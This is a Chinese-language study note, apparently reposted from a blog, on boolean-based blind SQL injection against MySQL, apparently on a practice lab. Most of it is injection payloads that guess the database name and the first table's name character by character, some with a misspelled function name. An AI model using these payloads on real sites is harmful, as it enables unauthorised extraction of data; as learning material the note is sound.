zoukankan      html  css  js  c++  java
  • 学习笔记 MYSQL盲注

    猜解当前数据库名
    输入 1and length(database())=1 # ,显示不存在;
    输入 1and length(database())=2 # ,显示不存在;
    输入 1and length(database())=3 # ,显示不存在;
    输入 1and length(database())=4 # ,显示存在: 
    
    采用二分法猜解数据库名
     输入 1and ascii(substr(databse(),1,1))>97 # ,显示存在,说明数据库名的第一个字符的 ascii 值大于 97 (小写字母 a 的 ascii 值);
    输入 1and ascii(substr(databse(),1,1))<122 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 122 (小写字母 z 的 ascii 值);
    输入 1and ascii(substr(databse(),1,1))<109 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 109 (小写字母 m 的 ascii 值);
    输入 1and ascii(substr(databse(),1,1))<103 # ,显示存在,说明数据库名的第一个字符的 ascii 值小于 103 (小写字母 g 的 ascii 值);
    输入 1and ascii(substr(databse(),1,1))<100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不小于 100 (小写字母 d 的 ascii 值);
    输入 1and ascii(substr(databse(),1,1))>100 # ,显示不存在,说明数据库名的第一个字符的 ascii 值不大于 100 (小写字母 d 的 ascii 值),所以数据库名的第一个字符的 ascii 值为 100 ,即小写字母 d 。 
    
    猜解数据库中的表名
    1and (select count (table_name) from information_schema.tables where table_schema=database())=1 #显示不存在
    1and (select count (table_name) from information_schema.tables where table_schema=database() )=2 #显示存在 
    1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #显示不存在
    1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 #显示不存在
    …
    1and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #显示存在
    说明第一个表名长度为 91and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
    1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
    1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
    1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
    1and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
    说明第一个表的名字的第一个字符为小写字母g。
    低调求发展,潜心习安全。
  • 相关阅读:
    Python自动发邮件-yagmail库
    使用Network Emulator Toolkit工具模拟网络丢包测试(上)
    Fiddler实战之使用Fiddler模拟弱网环境(限速)
    Jmeter接口测试之SSHCommand测试Linux服务器资源文件信息
    Fiddler实战之将抓到接口导入Jmeter接口测试
    Could not get lock /var/lib/dpkg/lock
    OPMS是什么?
    Docker是什么?
    Docker容器中启动OPMS项目
    Docker容器部署Tomcat服务器
  • 原文地址:https://www.cnblogs.com/MiWhite/p/6135944.html
Copyright © 2011-2022 走看看